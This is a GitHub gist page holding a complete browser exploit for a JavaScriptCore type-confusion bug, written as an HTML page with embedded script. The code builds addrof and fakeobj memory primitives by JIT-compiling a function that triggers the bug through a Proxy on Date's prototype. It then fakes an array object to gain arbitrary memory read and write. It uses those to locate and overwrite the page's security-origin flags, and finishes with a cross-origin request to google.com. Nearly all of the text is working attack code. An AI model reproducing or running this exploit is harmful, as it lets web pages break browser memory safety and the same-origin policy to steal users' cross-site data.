Skip to content

Instantly share code, notes, and snippets.

@jakeajames
Last active August 17, 2021 01:09
Show Gist options
  • Save jakeajames/5ceb90ebaa34eabb3e170b5c7eb2c7d1 to your computer and use it in GitHub Desktop.
Save jakeajames/5ceb90ebaa34eabb3e170b5c7eb2c7d1 to your computer and use it in GitHub Desktop.
todesco's jsc bug
<pre id="logs"></pre>
<script>
// utilities
let arr = new Uint32Array(2);
let arr64 = new Float64Array(arr.buffer); // use same buffer
function floatToInt(float) {
arr64[0] = float;
return arr[0] + arr[1] * 2**32;
}
function intToFloat(int) {
arr[0] = int;
arr[1] = Math.floor(int/2**32);
return arr64[0];
}
// address leak primitive
function addrof(obj) {
let confuse = new Array(1);
confuse[0] = 13.37; // we'll replace 13.37 with an object which will still be treated as a float
let date = new Date(); // we'll use this to trigger the bug
date[0] = 1; // set any number to any index, required but idk why, haven't looked at the bug
let trigger = false;
let orig = Object.getPrototypeOf(Date.prototype);
let func = function() {
if (trigger) {
confuse[0] = obj; // replace
}
};
Date.prototype.__proto__ = new Proxy(Date.prototype.__proto__, {has: func}); // call func whenever we check if a property exists and it doesn't exist. this will trigger the bug
let arr64 = new Float64Array(1); // where to save result
let leak = function(date, arr64, confuse) {
confuse[0]; // idk why
var result = 1 in date; // trigger our handler; index cannot be the one we set (0 in this case) because that won't trigger the handler
arr64[0] = confuse[0];
return result; // we need to return result otherwise after a few calls it will be optimized out and handler won't be called
}
for (let i = 0; i < 10000; i++) leak(date, arr64, confuse); // run a lot of times to JIT the function
trigger = true;
leak(date, arr64, confuse);
Object.setPrototypeOf(Date.prototype, orig); // fixup Date
return floatToInt(arr64[0]);
}
// same thing as addrof() except instead of leaking a pointer we replace a pointer
function fakeobj(addr) {
addr = intToFloat(addr);
let confuse = new Array(1);
confuse[0] = 13.37;
let date = new Date();
date[0] = 1;
let trigger = false;
let orig = Object.getPrototypeOf(Date.prototype);
let func = function() {
if (trigger) {
confuse[0] = {}; // replace the float with an empty object
}
};
Date.prototype.__proto__ = new Proxy(Date.prototype.__proto__, {has: func});
let write = function(date, confuse) {
confuse[0];
var result = 1 in date;
confuse[0] = addr; // replace our empty object with our target address
return result;
}
for (let i = 0; i < 10000; i++) write(date, confuse); // run a lot of times to JIT the function
trigger = true;
write(date, confuse);
Object.setPrototypeOf(Date.prototype, orig);
return confuse[0];
}
print = function(what) {
document.getElementById("logs").innerHTML += what + "\n";
}
escape = function(html) {
return html.replace(/&/g, "&amp;").replace(/</g, "&lt;").replace(/>/g, "&gt;").replace(/"/g, "&quot;").replace(/'/g, "&#039;");
}
function pwn() {
// stage 1
print("[*] testing type confusion");
test = fakeobj(addrof({a: 1337}));
if (test.a != 1337) {
print("[-] stage 1 failed");
return;
}
print("[*] stage 1 successful");
// stage 2
print("[*] starting stage 2");
// spray 0x5000 double arrays
var arr = [];
for (var i = 0; i < 0x5000; i++) {
var obj = [1.1, 1.2];
obj.a = 1337; // this will be used later
obj["prop_" + i] = 2; // need a unique property to generate structure IDs
arr.push(obj); // push
}
target = arr[0]; // pick one of the arrays, we'll corrupt this
// now craft a fake array
var fake = {};
fake.JSCellHeader = intToFloat(0x0108200700003000 - 2**48); // double array with structure ID 0x03000
fake.Butterfly = target; // set our target object as the butterfly
// make it an object
fakeaddr = addrof(fake) + 0x10; // shift by 16 so we skip header and butterfly of "fake" and get to our data
print("[i] fake array at 0x" + fakeaddr.toString(16));
fobj = fakeobj(fakeaddr);
// from now on changing fobj will corrupt target
var orig_bfo = fobj[1]; // save the butterfly of target
var boxed = [{}]; // contigous array, can hold objects, doubles, ints etc.
var unboxed = [13.37, 13.37, 13.37, 13.37]; // double array. can hold only doubles
unboxed[0] = 12.37; // trigger CopyOnWrite
var boxed_addr = addrof(boxed);
var unboxed_addr = addrof(unboxed);
fobj[1] = intToFloat(unboxed_addr);
var unboxed_bf = floatToInt(target[1]); // get butterfly of boxed
fobj[1] = intToFloat(boxed_addr);
var boxed_bf = floatToInt(target[1]);
target[1] = intToFloat(unboxed_bf); // set it to unboxed. now unboxed and boxed have the same butterfly
fobj[1] = orig_bfo;
addrof = function(obj) {
boxed[0] = obj;
return floatToInt(unboxed[0]);
};
fakeobj = function(addr) {
unboxed[0] = intToFloat(addr);
return boxed[0];
};
add = addrof({a: 4141})
test = fakeobj(add);
if (test.a != 4141) {
print("[-] stage 2 failed");
return;
}
print("[*] stage 2 addrof/fakeobj successful");
// doubles in reality can hold up to 52 bits, but this is enough on most cases
// for reading and writing we will modify 'a' property of 'target', using the butterfly can't be done as reading will only work when 8 bytes before the address contain a non-zero value (and similarly doing a write will corrupt those bytes if zero)
read52 = function(where) {
fobj[1] = intToFloat(where + 0x10); // property 'a' is at butterfly - 0x10
ret = addrof(target.a); // although array is a double-only array that does not apply to properties, a pointer in there will be treated as an object
fobj[1] = orig_bfo;
return ret;
}
// this does not work when writing new flags, crashes immediately on fakeobj(). idk why?
write52 = function(where, what) {
fobj[1] = intToFloat(where + 0x10); // property 'a' is at butterfly - 0x10
target.a = fakeobj(what);
fobj[1] = orig_bfo;
}
// works better in our case, but value must be greater than or equal to 2**48, that is why I align the flags offset in such a way
write_JSValue = function(where, what) {
fobj[1] = intToFloat(where + 0x10);
target.a = intToFloat(what - 2**48);
fobj[1] = orig_bfo;
}
print("[*] Starting stage 3")
var jsxhr = new XMLHttpRequest();
var jsxhrAddr = addrof(jsxhr);
print("[i] JSXMLHttpRequest: 0x" + jsxhrAddr.toString(16));
var xhrAddr = read52(jsxhrAddr + 0x18);
print("[i] XMLHttpRequest: 0x" + xhrAddr.toString(16));
var scriptExecContextAddr = read52(xhrAddr + 0x68);
print("[i] ScriptExecutionContext: 0x" + scriptExecContextAddr.toString(16));
var securityOriginPolicyAddr = read52(scriptExecContextAddr + 8);
print("[i] securityOriginPolicy: 0x" + securityOriginPolicyAddr.toString(16));
securityOriginAddr = read52(securityOriginPolicyAddr + 8);
print("[i] securityOrigin: 0x" + securityOriginPolicyAddr.toString(16));
flags = read52(securityOriginAddr + 0x2e);
print("[i] flags = 0x" + flags.toString(16));
write_JSValue(securityOriginAddr + 0x2e, flags + 0x1000000);
flags = read52(securityOriginAddr + 0x2e);
print("[i] flags = 0x" + flags.toString(16));
// I have no idea if this actually prevents future crashes
print("[*] Cleaning up");
fobj[1] = intToFloat(boxed_addr);
target[1] = intToFloat(boxed_bf);
fobj[1] = orig_bfo;
delete fake.Butterfly;
jsxhr.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
print("[+] Success! www.google.com: " + escape(jsxhr.responseText));
}
};
jsxhr.open("GET", "https://www.google.com", true);
jsxhr.send();
}
pwn();
</script>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment